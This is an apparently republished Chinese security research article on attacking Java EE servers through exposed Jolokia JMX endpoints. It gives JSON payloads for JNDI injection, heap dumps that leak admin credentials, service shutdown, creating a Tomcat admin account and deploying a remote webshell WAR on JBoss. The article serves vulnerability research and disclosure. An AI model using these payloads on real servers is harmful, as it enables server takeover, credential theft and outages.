作者:RicterZ@云鼎實驗室
來源:http://mp.weixin.qq.com/s/blpFK0oigTGtI_eVJxEL0w

0x00 - About Jolokia

Jolokia 是一個通過 HTTP 的 JMX 連接器,提供了類 RESTful 的操作方式,可以通過 POST JSON 的方式訪問和修改 JMX 屬性、執行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。

Jolokia 支持提供了多種 Agents,包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR Agent 支持了多種 Web Server:

  • JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
  • Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
  • Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
  • IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
  • Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
  • Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
  • Resin 3.1.9
  • Jonas 4.10.7, 5.1.1, 5.2.1
  • Apache Geronimo 2.1.6, 2.2.1, 3.0.0
  • Spring dm Server 2.0.0.RELEASE
  • Eclipse Virgo 2.1.0

通過 Jolokia,可以方便的操作 MBean,通過 GET 的例子:

ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq
{
  "request": {
    "mbean": "java.lang:type=Memory",
    "attribute": "HeapMemoryUsage",
    "type": "read"
  },
  "value": {
    "init": 94371840,
    "committed": 91226112,
    "max": 129761280,
    "used": 32536960
  },
  "timestamp": 1522138479,
  "status": 200
}

或者 POST 一個 JSON:

ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data '  {
>     "mbean":"java.lang:type=Memory",
>     "attribute":"HeapMemoryUsage",
>     "type":"READ"
>   }' | jq
{
  "request": {
    "mbean": "java.lang:type=Memory",
    "attribute": "HeapMemoryUsage",
    "type": "read"
  },
  "value": {
    "init": 94371840,
    "committed": 91226112,
    "max": 129761280,
    "used": 33277720
  },
  "timestamp": 1522138552,
  "status": 200
}

Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作,具體可以參考官方文檔:Jolokia - Reference Documentation

0x01 - Jolokia Security Issues

1. JNDI Injection

Jolokia 支持一個叫做代理模式(Proxy Mode)的東西,是為了解決不能將 Jolokia Agent 部署在目標平臺上的問題。具體架構如下:

可以通過向 Jolokia 發送 POST 請求來觸發:

{
  "type":"READ"
  "mbean":"java.lang:type=Threading",
  "attribute":"ThreadCount",
  "target": {
    "url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi",
  }
}

熟悉 Java 安全的朋友可能會注意到,這里可能有一個 JNDI 注入。的確,在 WAR Agent 的情況下,此處存在一個 JNDI 注入,問題發生在 agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java

public Object dispatchRequest(JmxRequest pJmxReq)
        throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException {

    JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType());
    JMXConnector connector = null;
    try {
        connector = createConnector(pJmxReq);
        connector.connect();
        ....

當 Web Container 將請求的交由 Jsr160RequestDispatcher 處理時,Jolokia Agent 創建連接,導致 JNDI 注入。在 WAR Agent 里,默認是由 Jsr160RequestDispatcher 處理的,這一點在 web.xml 也有體現:

<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
  <description>
    Class names (comma separated) of RequestDispatcher used in addition
    to the LocalRequestDispatcher
  </description>
  <param-name>dispatcherClasses</param-name>
  <param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value>
</init-param>

那么,攻擊者只需發送一個帶有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目標機器上執行命令。

2. Information Disclosure

Jolokia 中有一個默認注冊的 MBean:com.sun.management:type=HotSpotDiagnostic ,這個 MBean 中存在 dumpHeap 方法,可以 dump 內存到指定的目錄。同時在低版本的 Java 中(比如 1.8.0_11),導出的文件名可以設置任意名稱,而非 .hprof 后綴。

下載后可以通過分析文件獲取一些敏感信息:

如上圖就獲得了 Tomcat 管理員的賬號密碼,可以通過部署 WAR 文件的方式進行 getshell。

0x02 - Tomcat with Jolokia

1. DoS

部署了 Jolokia 后,可以訪問 /jolokia/list 查看可用的 MBean,通過翻閱可以發現 Tomcat + Jolokia 的情況下存在一些敏感操作,比如關閉服務:

{
    "type": "EXEC",
    "mbean": "Catalina:type=Service",
    "operation": "stop",
    "arguments": []
}

這樣會造成 DoS,雖然沒啥用。

2. Create Admin Account

問題在 User:database=UserDatabase,type=UserDatabase 下,其包括了 createRolecreateUser 等操作,攻擊流程為:

// 創建 manager-gui
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createRole",
    "arguments": ["manager-gui", ""]
}
// 創建用戶
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createUser",
    "arguments": ["test233", "test233", ""]
}
// 增加角色
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
    "operation": "addRole",
    "arguments": ["manager-gui"]
}

接著利用 test233 / test233 登陸即可。

0x03 - JBoss with Jolokia

1. DoS

關閉服務:

{
    "type": "EXEC",
    "mbean": "jboss.web.deployment:war=/ROOT",
    "operation": "stop",
    "arguments": []
}
2. Deploy WAR

JBoss 中,通過 JMX Console 部署 WAR 是最為人所知的,JBoss 中的 jboss.system:service=MainDeployer 提供了這個方法。由于此方法是重載的,所以需要指定一個 signature,也就是下圖的deploy(java.lang.String)

{
    "type": "EXEC",
    "mbean": "jboss.system:service=MainDeployer",
    "operation": "deploy(java.lang.String)",
    "arguments": ["http://127.0.0.1:1235/test.war"]
}

接著通過訪問 /test 即可進入 webshell。

0x04 Others

Weblogic 暴露出很多 MBean,但是有一些方法存在限制:

weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage

可能會有其他的 MBean 可以進行操作,但是由于 MBean 繁多,沒有太多精力去看。Jetty 沒有暴露什么 MBean,所以暫時沒有什么方法。ActiveMQ 有一些 MBean,粗略看了下沒有發現什么問題,如果大家發現了,可以多多交流。

0x05 Reference

寫在最后:Jolokia 可以暴露出更多的攻擊面,通過這些攻擊面進行操作來獲取更高的權限,本文僅僅分析了部分 Java EE Servers 所呈現出來的 MBean,但是由于 Jolokia 支持多種 Agent,所以暴露出的東西不止如此。

此外,這次分析僅僅是在業務層面上進行分析,沒有跟進到源碼層面。可能會有如下情況:某個 MBean 進行了 JNDI lookup,或者遠程下載文件保存在本地,反序列化某一些內容等等,通過 Jolokia 進行操作可以二次利用這些問題來 RCE。這就需要具體情況具體分析了,本文如有錯誤,歡迎指正 :D


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/552/